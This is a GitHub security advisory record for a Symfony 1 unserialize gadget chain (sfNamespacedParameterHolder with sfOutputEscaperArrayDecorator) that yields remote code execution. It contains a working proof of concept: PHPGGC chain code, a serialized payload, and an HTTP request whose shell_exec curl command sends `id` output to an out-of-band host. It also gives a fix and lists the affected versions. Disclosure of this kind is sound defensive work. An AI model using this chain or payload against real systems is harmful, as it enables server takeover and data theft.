GHSA-pv9j-c53q-h433

Suggest an improvement
Source
https://github.com/advisories/GHSA-pv9j-c53q-h433
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/03/GHSA-pv9j-c53q-h433/GHSA-pv9j-c53q-h433.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-pv9j-c53q-h433
Aliases
Published
2024-03-22T16:56:18Z
Modified
2024-12-04T05:40:59.868012Z
Summary
Gadget chain in Symfony 1 due to uncontrolled unserialized input in sfNamespacedParameterHolder
Details

Summary

Symfony 1 has a gadget chain due to dangerous unserialize in sfNamespacedParameterHolder class that would enable an attacker to get remote code execution if a developer unserialize user input in his project.

Details

This vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example:

 public function executeIndex(sfWebRequest $request)
  {
    $a = unserialize($request->getParameter('user'));
  }

We will make the assumption this is the case in the rest of this explanation.

Symfony 1 provides the class sfNamespacedParameterHolder which implements Serializable interface. In particular, when an instance of this class is deserialized, the normal php behavior is hooked by implementing unserialize() method:

    public function unserialize($serialized)
    {
        $this->__unserialize(unserialize($serialized));
    }

Which make an array access on the deserialized data without control on the type of the $data parameter:

    public function __unserialize($data)
    {
        $this->default_namespace = $data[0];
        $this->parameters = $data[1];
    }

Thus, an attacker provide any object type in $data to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on $data[0] for any class implementing ArrayAccess interface. sfOutputEscaperArrayDecorator implements such interface. Here is the call made on offsetGet():

  public function offsetGet($offset)
    {
        $value = isset($this->value[$offset]) ? $this->value[$offset] : null;

        return sfOutputEscaper::escape($this->escapingMethod, $value);
    }

Which trigger escape() in sfOutputEscaper class with attacker controlled parameters from deserialized object with $this->escapingMethod and $this->value[$offset]:

  public static function escape($escapingMethod, $value)
  {
    if (null === $value)
    {
      return $value;
    }

    // Scalars are anything other than arrays, objects and resources.
    if (is_scalar($value))
    {
      return call_user_func($escapingMethod, $value);
    }

Which calls call_user_func with previous attacker controlled input.

PoC

So we need the following object to trigger an OS command like shell_exec("curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)");:

object(sfNamespacedParameterHolder)#4 (1) {
  ["prop":protected]=>
  object(sfOutputEscaperArrayDecorator)#3 (2) {
    ["value":protected]=>
    array(1) {
      [0]=>
      string(66) "curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)"
    }
    ["escapingMethod":protected]=>
    string(10) "shell_exec"
  }
}

We craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before: * gadgets.php:

class sfOutputEscaperArrayDecorator
{
  protected $value;

  protected $escapingMethod;

  public function __construct($escapingMethod, $value) {
    $this->escapingMethod = $escapingMethod;
    $this->value = $value;
  }
}

class sfNamespacedParameterHolder implements Serializable 
{
    protected $prop = null;

    public function __construct($prop) {
      $this->prop = $prop;
    }

    public function serialize()
    {
        return serialize($this->prop);
    }

    public function unserialize($serialized)
    {

    }
}

  • chain.php:
    namespace GadgetChain\Symfony;
    
    class RCE16 extends \PHPGGC\GadgetChain\RCE\FunctionCall
    {
        public static $version = '1.1.0 <= 1.5.18';
        public static $vector = 'Serializable';
        public static $author = 'darkpills';
        public static $information = '';
    
        public function generate(array $parameters)
        {
            $escaper = new \sfOutputEscaperArrayDecorator($parameters['function'], array($parameters['parameter']));
    
            $tableInfo = new \sfNamespacedParameterHolder($escaper);
    
            return $tableInfo;
        }
    }
    

And trigger the deserialization with an HTTP request like the following on a dummy test controller:

POST /frontend_dev.php/test/index HTTP/1.1
Host: localhost:8001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532

user=C%3A27%3A%22sfNamespacedParameterHolder%22%3A183%3A%7BO%3A29%3A%22sfOutputEscaperArrayDecorator%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00value%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A66%3A%22curl+https%3A%2F%2F7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com%3Fa%3D%24%28id%29%22%3B%7Ds%3A17%3A%22%00%2A%00escapingMethod%22%3Bs%3A10%3A%22shell_exec%22%3B%7D%7D

Note that CVSS score is not applicable to this kind of vulnerability.

Impact

The attacker can execute any PHP command which leads to remote code execution.

Recommendation

I recommend to add a type checking before doing any processing on the unserialized input like this example:

public function unserialize($data)
{
    if (is_array($data)) {
      $this->default_namespace = $data[0];
      $this->parameters = $data[1];
    } else {
      $this->default_namespace = null;
      $this->parameters = array();

      // or throw an exception maybe?
    }
}

This fix should be applied in both sfNamespacedParameterHolder and sfParameterHolder.

Database specific
{
    "nvd_published_at": "2024-03-22T17:15:07Z",
    "cwe_ids": [
        "CWE-502"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-22T16:56:18Z"
}
References

Affected packages

Packagist / friendsofsymfony1/symfony1

Package

Name
friendsofsymfony1/symfony1
Purl
pkg:composer/friendsofsymfony1/symfony1

Affected ranges

Type
ECOSYSTEM
Events
Introduced
1.1.0
Fixed
1.5.19

Affected versions

v1.*

v1.5.0
v1.5.1
v1.5.2
v1.5.3
v1.5.4
v1.5.5
v1.5.6
v1.5.7
v1.5.8
v1.5.9
v1.5.10
v1.5.11
v1.5.12
v1.5.13
v1.5.14
v1.5.15
v1.5.16
v1.5.17
v1.5.18